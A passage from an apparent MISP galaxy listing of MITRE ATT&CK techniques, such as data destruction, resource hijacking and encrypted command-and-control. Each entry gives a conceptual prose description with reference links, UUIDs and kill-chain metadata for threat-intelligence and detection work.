Aware that some malware cannot survive system reboots, adversaries may entirely delete files used to invoke system shut down or reboot.(Citation: Condi-Botnet-binaries)
Internal MISP references
UUID ea071aa0-8f17-416f-ab0d-2bab7e79003d which can be used as unique global reference for Power Settings - T1653 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1653 - webarchive
- https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html - webarchive
- https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options?adlt=strict - webarchive
- https://man7.org/linux/man-pages/man5/systemd-sleep.conf.5.html - webarchive
- https://securityintelligence.com/news/two-new-monero-malware-attacks-target-windows-and-android-users/ - webarchive
- https://www.avg.com/en/signal/should-you-shut-down-sleep-or-hibernate-your-pc-or-mac-laptop - webarchive
- https://www.avira.com/en/blog/coinloader-a-sophisticated-malware-loader-campaign - webarchive
- https://www.fortinet.com/blog/threat-research/condi-ddos-botnet-spreads-via-tp-links-cve-2023-1389 - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1653 |
| kill_chain | ['attack-Windows:persistence', 'attack-Linux:persistence', 'attack-macOS:persistence', 'attack-Network:persistence'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS', 'Network'] |
Encrypted Channel - T1573
Adversaries may employ an encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Internal MISP references
UUID b8902400-e6c5-4ba2-95aa-2d35b442b118 which can be used as unique global reference for Encrypted Channel - T1573 in MISP communities and other software using the MISP galaxy
External references
- http://www.sans.org/reading-room/whitepapers/analyst/finding-hidden-threats-decrypting-ssl-34840 - webarchive
- https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf - webarchive
- https://attack.mitre.org/techniques/T1573 - webarchive
- https://insights.sei.cmu.edu/cert/2015/03/the-risks-of-ssl-inspection.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1573 |
| kill_chain | ['attack-Linux:command-and-control', 'attack-macOS:command-and-control', 'attack-Windows:command-and-control', 'attack-Network:command-and-control'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Acquire Infrastructure - T1583
Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase.
Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support Proxy, including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
Internal MISP references
UUID 0458aab9-ad42-4eac-9e22-706a95bafee2 which can be used as unique global reference for Acquire Infrastructure - T1583 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1583 - webarchive
- https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - webarchive
- https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ - webarchive
- https://www.ic3.gov/Media/News/2022/220818.pdf - webarchive
- https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1583 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Domain Registration', 'Domain Name: Passive DNS', 'Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Dynamic Resolution - T1637
Adversaries may dynamically establish connections to command and control infrastructure to evade common detections and remediations. This may be achieved by using malware that shares a common algorithm with the infrastructure the adversary uses to receive the malware's communications. This algorithm can be used to dynamically adjust parameters such as the domain name, IP address, or port number the malware uses for command and control.
Internal MISP references
UUID 2ccc3d39-9598-4d32-9657-42e1c7095d26 which can be used as unique global reference for Dynamic Resolution - T1637 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1637 |
| kill_chain | ['mobile-attack-Android:command-and-control', 'mobile-attack-iOS:command-and-control'] |
| mitre_platforms | ['Android', 'iOS'] |
Device Lockout - T1446
An adversary may seek to lock the legitimate user out of the device, for example to inhibit user interaction or to obtain a ransom payment.
On Android versions prior to 7, apps can abuse Device Administrator access to reset the device lock passcode to prevent the user from unlocking the device. After Android 7, only device or profile owners (e.g. MDMs) can reset the device’s passcode.(Citation: Android resetPassword)
On iOS devices, this technique does not work because mobile device management servers can only remove the screen lock passcode, they cannot set a new passcode. However, on jailbroken devices, malware has been discovered that can lock the user out of the device.(Citation: Xiao-KeyRaider)
Internal MISP references
UUID 9d7c32f4-ab39-49dc-8055-8106bc2294a1 which can be used as unique global reference for Device Lockout - T1446 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2015/08/keyraider-ios-malware-steals-over-225000-apple-accounts-to-create-free-app-utopia/ - webarchive
- https://attack.mitre.org/techniques/T1446 - webarchive
- https://developer.android.com/reference/android/app/admin/DevicePolicyManager.html#resetPassword(java.lang.String,%20int) - webarchive
- https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-28.html - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1446 |
| kill_chain | ['mobile-attack-Android:impact', 'mobile-attack-iOS:impact', 'mobile-attack-Android:defense-evasion', 'mobile-attack-iOS:defense-evasion'] |
| mitre_platforms | ['Android', 'iOS'] |
Related clusters
To see the related clusters, click here.
Hide Artifacts - T1564
Adversaries may attempt to hide artifacts associated with their behaviors to evade detection. Operating systems may have features to hide various artifacts, such as important system files and administrative task execution, to avoid disrupting user work environments and prevent users from changing files or features on the system. Adversaries may abuse these features to hide artifacts such as files, directories, user accounts, or other system activity to evade detection.(Citation: Sofacy Komplex Trojan)(Citation: Cybereason OSX Pirrit)(Citation: MalwareBytes ADS July 2015)
Adversaries may also attempt to hide artifacts associated with malicious behavior by creating computing regions that are isolated from common security instrumentation, such as through the use of virtualization technology.(Citation: Sophos Ragnar May 2020)
Internal MISP references
UUID 22905430-4901-4c2a-84f6-98243cb173f8 which can be used as unique global reference for Hide Artifacts - T1564 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1564 - webarchive
- https://blog.malwarebytes.com/101/2015/07/introduction-to-alternate-data-streams/ - webarchive
- https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf - webarchive
- https://news.sophos.com/en-us/2020/05/21/ragnar-locker-ransomware-deploys-virtual-machine-to-dodge-security/ - webarchive
- https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1564 |
| kill_chain | ['attack-Linux:defense-evasion', 'attack-macOS:defense-evasion', 'attack-Windows:defense-evasion', 'attack-Office-365:defense-evasion'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Command: Command Execution', 'File: File Creation', 'File: File Metadata', 'File: File Modification', 'Firmware: Firmware Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Script: Script Execution', 'Service: Service Creation', 'User Account: User Account Creation', 'User Account: User Account Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Office 365'] |
Log Enumeration - T1654
Adversaries may enumerate system and service logs to find useful data. These logs may highlight various types of valuable insights for an adversary, such as user authentication records (Account Discovery), security or vulnerable software (Software Discovery), or hosts within a compromised network (Remote System Discovery).
Host binaries may be leveraged to collect system logs. Examples include using wevtutil.exe or PowerShell on Windows to access and/or export security event information.(Citation: WithSecure Lazarus-NoPineapple Threat Intel Report 2023)(Citation: Cadet Blizzard emerges as novel threat actor) In cloud environments, adversaries may leverage utilities such as the Azure VM Agent’s CollectGuestLogs.exe to collect security logs from cloud hosted infrastructure.(Citation: SIM Swapping and Abuse of the Microsoft Azure Serial Console)
Adversaries may also target centralized logging infrastructure such as SIEMs. Logs may also be bulk exported and sent to adversary-controlled infrastructure for offline analysis.
Internal MISP references
UUID 866d0d6d-02c6-42bd-aa2f-02907fdc0969 which can be used as unique global reference for Log Enumeration - T1654 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1654 - webarchive
- https://labs.withsecure.com/content/dam/labs/docs/WithSecure-Lazarus-No-Pineapple-Threat-Intelligence-Report-2023.pdf - webarchive
- https://www.mandiant.com/resources/blog/sim-swapping-abuse-azure-serial - webarchive
- https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1654 |
| kill_chain | ['attack-Linux:discovery', 'attack-macOS:discovery', 'attack-Windows:discovery', 'attack-IaaS:discovery'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Access', 'Process: Process Creation'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'IaaS'] |
Compromise Infrastructure - T1584
Adversaries may compromise third-party infrastructure that can be used during targeting. Infrastructure solutions include physical or cloud servers, domains, network devices, and third-party web and DNS services. Instead of buying, leasing, or renting infrastructure an adversary may compromise infrastructure and use it during other phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: ICANNDomainNameHijacking)(Citation: Talos DNSpionage Nov 2018)(Citation: FireEye EPS Awakens Part 2) Additionally, adversaries may compromise numerous machines to form a botnet they can leverage.
Use of compromised infrastructure allows adversaries to stage, launch, and execute operations. Compromised infrastructure can help adversary operations blend in with traffic that is seen as normal, such as contact with high reputation or trusted sites. For example, adversaries may leverage compromised infrastructure (potentially also in conjunction with Digital Certificates) to further blend in and support staged information gathering and/or Phishing campaigns.(Citation: FireEye DNS Hijack 2019) Additionally, adversaries may also compromise infrastructure to support Proxy and/or proxyware services.(Citation: amnesty_nso_pegasus)(Citation: Sysdig Proxyjacking)
By using compromised infrastructure, adversaries may make it difficult to tie their actions back to them. Prior to targeting, adversaries may compromise the infrastructure of other adversaries.(Citation: NSA NCSC Turla OilRig)
Internal MISP references
UUID 7e3beebd-8bfe-4e7b-a892-e44ab06a75f9 which can be used as unique global reference for Compromise Infrastructure - T1584 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1584 - webarchive
- https://blog.talosintelligence.com/2018/11/dnspionage-campaign-targets-middle-east.html - webarchive
- https://media.defense.gov/2019/Oct/18/2002197242/-1/-1/0/NSA_CSA_Turla_20191021%20ver%204%20-%20nsa.gov.pdf - webarchive
- https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - webarchive
- https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/ - webarchive
- https://threatconnect.com/blog/infrastructure-research-hunting/ - webarchive
- https://web.archive.org/web/20151226205946/https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html - webarchive
- https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ - webarchive
- https://www.fireeye.com/blog/threat-research/2019/01/global-dns-hijacking-campaign-dns-record-manipulation-at-scale.html - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
- https://www.icann.org/groups/ssac/documents/sac-007-en - webarchive
- https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1584 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Domain Name: Active DNS', 'Domain Name: Domain Registration', 'Domain Name: Passive DNS', 'Internet Scan: Response Content', 'Internet Scan: Response Metadata'] |
| mitre_platforms | ['PRE'] |
Data Destruction - T1485
Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as del and rm often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from Disk Content Wipe and Disk Structure Wipe because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like Valid Accounts, OS Credential Dumping, and SMB/Windows Admin Shares.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ - Cisco Insider)
Internal MISP references
UUID d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c which can be used as unique global reference for Data Destruction - T1485 in MISP communities and other software using the MISP galaxy
External references
- http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/ - webarchive
- https://attack.mitre.org/techniques/T1485 - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf - webarchive
- https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/ - webarchive
- https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/ - webarchive
- https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html - webarchive
- https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network - webarchive
- https://www.symantec.com/connect/blogs/shamoon-attacks - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1485 |
| kill_chain | ['attack-Windows:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Containers:impact'] |
| mitre_data_sources | ['Cloud Storage: Cloud Storage Deletion', 'Command: Command Execution', 'File: File Deletion', 'File: File Modification', 'Image: Image Deletion', 'Instance: Instance Deletion', 'Process: Process Creation', 'Snapshot: Snapshot Deletion', 'Volume: Volume Deletion'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Containers'] |
Firmware Corruption - T1495
Adversaries may overwrite or corrupt the flash memory contents of system BIOS or other firmware in devices attached to a system in order to render them inoperable or unable to boot, thus denying the availability to use the devices and/or the system.(Citation: Symantec Chernobyl W95.CIH) Firmware is software that is loaded and executed from non-volatile memory on hardware devices in order to initialize and manage device functionality. These devices may include the motherboard, hard drive, or video cards.
In general, adversaries may manipulate, overwrite, or corrupt firmware in order to deny the use of the system or devices. For example, corruption of firmware responsible for loading the operating system for network devices may render the network devices inoperable.(Citation: dhs_threat_to_net_devices)(Citation: cisa_malware_orgs_ukraine) Depending on the device, this attack may also result in Data Destruction.
Internal MISP references
UUID f5bb433e-bdf6-4781-84bc-35e97e43be89 which can be used as unique global reference for Firmware Corruption - T1495 in MISP communities and other software using the MISP galaxy
External references
- http://www.mitre.org/publications/project-stories/going-deep-into-the-bios-with-mitre-firmware-security-research - webarchive
- https://attack.mitre.org/techniques/T1495 - webarchive
- https://cyber.dhs.gov/assets/report/ar-16-20173.pdf - webarchive
- https://web.archive.org/web/20190508170055/https://www.symantec.com/security-center/writeup/2000-122010-2655-99 - webarchive
- https://www.cisa.gov/uscert/ncas/alerts/aa22-057a - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1495 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact', 'attack-Network:impact'] |
| mitre_data_sources | ['Firmware: Firmware Modification'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows', 'Network'] |
Serverless Execution - T1648
Adversaries may abuse serverless computing, integration, and automation services to execute arbitrary code in cloud environments. Many cloud providers offer a variety of serverless resources, including compute engines, application integration services, and web servers.
Adversaries may abuse these resources in various ways as a means of executing arbitrary commands. For example, adversaries may use serverless functions to execute malicious code, such as crypto-mining malware (i.e. Resource Hijacking).(Citation: Cado Security Denonia) Adversaries may also create functions that enable further compromise of the cloud environment. For example, an adversary may use the IAM:PassRole permission in AWS or the iam.serviceAccounts.actAs permission in Google Cloud to add Additional Cloud Roles to a serverless cloud function, which may then be able to perform actions the original user cannot.(Citation: Rhino Security Labs AWS Privilege Escalation)(Citation: Rhingo Security Labs GCP Privilege Escalation)
Serverless functions can also be invoked in response to cloud events (i.e. Event Triggered Execution), potentially enabling persistent execution over time. For example, in AWS environments, an adversary may create a Lambda function that automatically adds Additional Cloud Credentials to a user and a corresponding CloudWatch events rule that invokes that function whenever a new user is created.(Citation: Backdooring an AWS account) Similarly, an adversary may create a Power Automate workflow in Office 365 environments that forwards all emails a user receives or creates anonymous sharing links whenever a user is granted access to a document in SharePoint.(Citation: Varonis Power Automate Data Exfiltration)(Citation: Microsoft DART Case Report 001)
Internal MISP references
UUID e848506b-8484-4410-8017-3d235a52f5b3 which can be used as unique global reference for Serverless Execution - T1648 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1648 - webarchive
- https://medium.com/daniel-grzelak/backdooring-an-aws-account-da007d36f8f9 - webarchive
- https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/ - webarchive
- https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/ - webarchive
- https://www.cadosecurity.com/cado-discovers-denonia-the-first-malware-specifically-targeting-lambda/ - webarchive
- https://www.microsoft.com/security/blog/2020/03/09/real-life-cybercrime-stories-dart-microsoft-detection-and-response-team - webarchive
- https://www.varonis.com/blog/power-automate-data-exfiltration - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1648 |
| kill_chain | ['attack-SaaS:execution', 'attack-IaaS:execution', 'attack-Office-365:execution'] |
| mitre_data_sources | ['Application Log: Application Log Content', 'Cloud Service: Cloud Service Modification'] |
| mitre_platforms | ['SaaS', 'IaaS', 'Office 365'] |
Resource Hijacking - T1496
Adversaries may leverage the resources of co-opted systems to complete resource-intensive tasks, which may impact system and/or hosted service availability.
One common purpose for Resource Hijacking is to validate transactions of cryptocurrency networks and earn virtual currency. Adversaries may consume enough system resources to negatively impact and/or cause affected machines to become unresponsive.(Citation: Kaspersky Lazarus Under The Hood Blog 2017) Servers and cloud-based systems are common targets because of the high potential for available resources, but user endpoint systems may also be compromised and used for Resource Hijacking and cryptocurrency mining.(Citation: CloudSploit - Unused AWS Regions) Containerized environments may also be targeted due to the ease of deployment via exposed APIs and the potential for scaling mining activities by deploying or compromising multiple containers within an environment or cluster.(Citation: Unit 42 Hildegard Malware)(Citation: Trend Micro Exposed Docker APIs)
Additionally, some cryptocurrency mining malware identify then kill off processes for competing malware to ensure it’s not competing for resources.(Citation: Trend Micro War of Crypto Miners)
Adversaries may also use malware that leverages a system's network bandwidth as part of a botnet in order to facilitate Network Denial of Service campaigns and/or to seed malicious torrents.(Citation: GoBotKR) Alternatively, they may engage in proxyjacking by selling use of the victims' network bandwidth and IP address to proxyware services.(Citation: Sysdig Proxyjacking)
Internal MISP references
UUID cd25c1b4-935c-4f0e-ba8d-552f28bc4783 which can be used as unique global reference for Resource Hijacking - T1496 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1496 - webarchive
- https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc - webarchive
- https://securelist.com/lazarus-under-the-hood/77908/ - webarchive
- https://sysdig.com/blog/proxyjacking-attackers-log4j-exploited/ - webarchive
- https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/ - webarchive
- https://www.trendmicro.com/en_us/research/19/e/infected-cryptocurrency-mining-containers-target-docker-hosts-with-exposed-apis-use-shodan-to-find-additional-victims.html - webarchive
- https://www.trendmicro.com/en_us/research/20/i/war-of-linux-cryptocurrency-miners-a-battle-for-resources.html - webarchive
- https://www.welivesecurity.com/2019/07/08/south-korean-users-backdoor-torrents/ - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1496 |
| kill_chain | ['attack-Windows:impact', 'attack-IaaS:impact', 'attack-Linux:impact', 'attack-macOS:impact', 'attack-Containers:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Creation', 'Network Traffic: Network Connection Creation', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: Process Creation', 'Sensor Health: Host Status'] |
| mitre_platforms | ['Windows', 'IaaS', 'Linux', 'macOS', 'Containers'] |
Service Stop - T1489
Adversaries may stop or disable services on a system to render those services unavailable to legitimate users. Stopping critical services or processes can inhibit or stop response to an incident or aid in the adversary's overall objectives to cause damage to the environment.(Citation: Talos Olympic Destroyer 2018)(Citation: Novetta Blockbuster)
Adversaries may accomplish this by disabling individual services of high importance to an organization, such as MSExchangeIS, which will make Exchange content inaccessible (Citation: Novetta Blockbuster). In some cases, adversaries may stop or disable many or all services to render systems unusable.(Citation: Talos Olympic Destroyer 2018) Services or processes may not allow for modification of their data stores while running. Adversaries may stop services or processes in order to conduct Data Destruction or Data Encrypted for Impact on the data stores of services like Exchange and SQL Server.(Citation: SecureWorks WannaCry Analysis)
Internal MISP references
UUID 20fb2507-d71c-455d-9b6d-6104461cf26b which can be used as unique global reference for Service Stop - T1489 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1489 - webarchive
- https://blog.talosintelligence.com/2018/02/olympic-destroyer.html - webarchive
- https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf - webarchive
- https://www.secureworks.com/research/wcry-ransomware-analysis - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1489 |
| kill_chain | ['attack-Windows:impact', 'attack-Linux:impact', 'attack-macOS:impact'] |
| mitre_data_sources | ['Command: Command Execution', 'File: File Modification', 'Process: OS API Execution', 'Process: Process Creation', 'Process: Process Termination', 'Service: Service Metadata', 'Windows Registry: Windows Registry Key Modification'] |
| mitre_platforms | ['Windows', 'Linux', 'macOS'] |
Data Manipulation - T1565
Adversaries may insert, delete, or manipulate data in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: Sygnia Elephant Beetle Jan 2022) By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
Internal MISP references
UUID ac9e6b22-11bf-45d7-9181-c1cb08360931 which can be used as unique global reference for Data Manipulation - T1565 in MISP communities and other software using the MISP galaxy
External references
- https://attack.mitre.org/techniques/T1565 - webarchive
- https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1565 |
| kill_chain | ['attack-Linux:impact', 'attack-macOS:impact', 'attack-Windows:impact'] |
| mitre_data_sources | ['File: File Creation', 'File: File Deletion', 'File: File Metadata', 'File: File Modification', 'Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow', 'Process: OS API Execution'] |
| mitre_platforms | ['Linux', 'macOS', 'Windows'] |
Native API - T1575
Adversaries may use Android’s Native Development Kit (NDK) to write native functions that can achieve execution of binaries or functions. Like system calls on a traditional desktop operating system, native code achieves execution on a lower level than normal Android SDK calls.
The NDK allows developers to write native code in C or C++ that is compiled directly to machine code, avoiding all intermediate languages and steps in compilation that higher level languages, like Java, typically have. The Java Native Interface (JNI) is the component that allows Java functions in the Android app to call functions in a native library.(Citation: Google NDK Getting Started)
Adversaries may also choose to use native functions to execute malicious code since native actions are typically much more difficult to analyze than standard, non-native behaviors.(Citation: MITRE App Vetting Effectiveness)
Internal MISP references
UUID 52eff1c7-dd30-4121-b762-24ae6fa61bbb which can be used as unique global reference for Native API - T1575 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1575 |
| kill_chain | ['mobile-attack-Android:defense-evasion', 'mobile-attack-Android:execution'] |
| mitre_platforms | ['Android'] |
Establish Accounts - T1585
Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
For operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, GitHub, Docker Hub, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)
Establishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for Phishing for Information or Phishing.(Citation: Mandiant APT1) In addition, establishing accounts may allow adversaries to abuse free services, such as registering for trial periods to Acquire Infrastructure for malicious purposes.(Citation: Free Trial PurpleUrchin)
Internal MISP references
UUID cdfc5f0a-9bb9-4352-b896-553cfa2d8fd8 which can be used as unique global reference for Establish Accounts - T1585 in MISP communities and other software using the MISP galaxy
External references
- http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf - webarchive
- https://attack.mitre.org/techniques/T1585 - webarchive
- https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - webarchive
- https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf - webarchive
- https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation - webarchive
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1585 |
| kill_chain | ['attack-PRE:resource-development'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Persona: Social Media'] |
| mitre_platforms | ['PRE'] |
Active Scanning - T1595
Adversaries may execute active reconnaissance scans to gather information that can be used during targeting. Active scans are those where the adversary probes victim infrastructure via network traffic, as opposed to other forms of reconnaissance that do not involve direct interaction.
Adversaries may perform different forms of active scanning depending on what information they seek to gather. These scans can also be performed in various ways, including using native features of network protocols such as ICMP.(Citation: Botnet Scan)(Citation: OWASP Fingerprinting) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Search Open Technical Databases), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).
Internal MISP references
UUID 67073dde-d720-45ae-83da-b12d5e73ca3b which can be used as unique global reference for Active Scanning - T1595 in MISP communities and other software using the MISP galaxy
External references
Associated metadata
| Metadata key | Value |
|---|---|
| external_id | T1595 |
| kill_chain | ['attack-PRE:reconnaissance'] |
| mitre_data_sources | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Flow'] |
| mitre_platforms | ['PRE'] |
Hide Infrastructure - T1665
Adversaries may manipulate network traffic in order to hide and evade detection of their C2 infrastructure. This can be accomplished in various ways including by identifying and filtering traffic from defensive tools,(Citation: TA571) masking malicious domains to obfuscate the true destination from both automated scanning tools and security researchers,(Citation: Schema-abuse)(Citation: Facad1ng)(Citation: Browser-updates) and otherwise hiding malicious artifacts to delay discovery and prolong the effectiveness of adversary infrastructure that could otherwise be identified, blocked, or taken down entirely.
C2 networks may include the use of Proxy or VPNs to disguise IP addresses, which can allow adversaries to blend in with normal network traffic and bypass conditional access policies or anti-abuse protections. For example, an adversary may use a virtual private cloud to spoof their IP address to closer align with a victim's IP address ranges. This may also bypass security measures relying on geolocation of the source IP address.(Citation: sysdig)(Citation: Orange Residential Proxies)
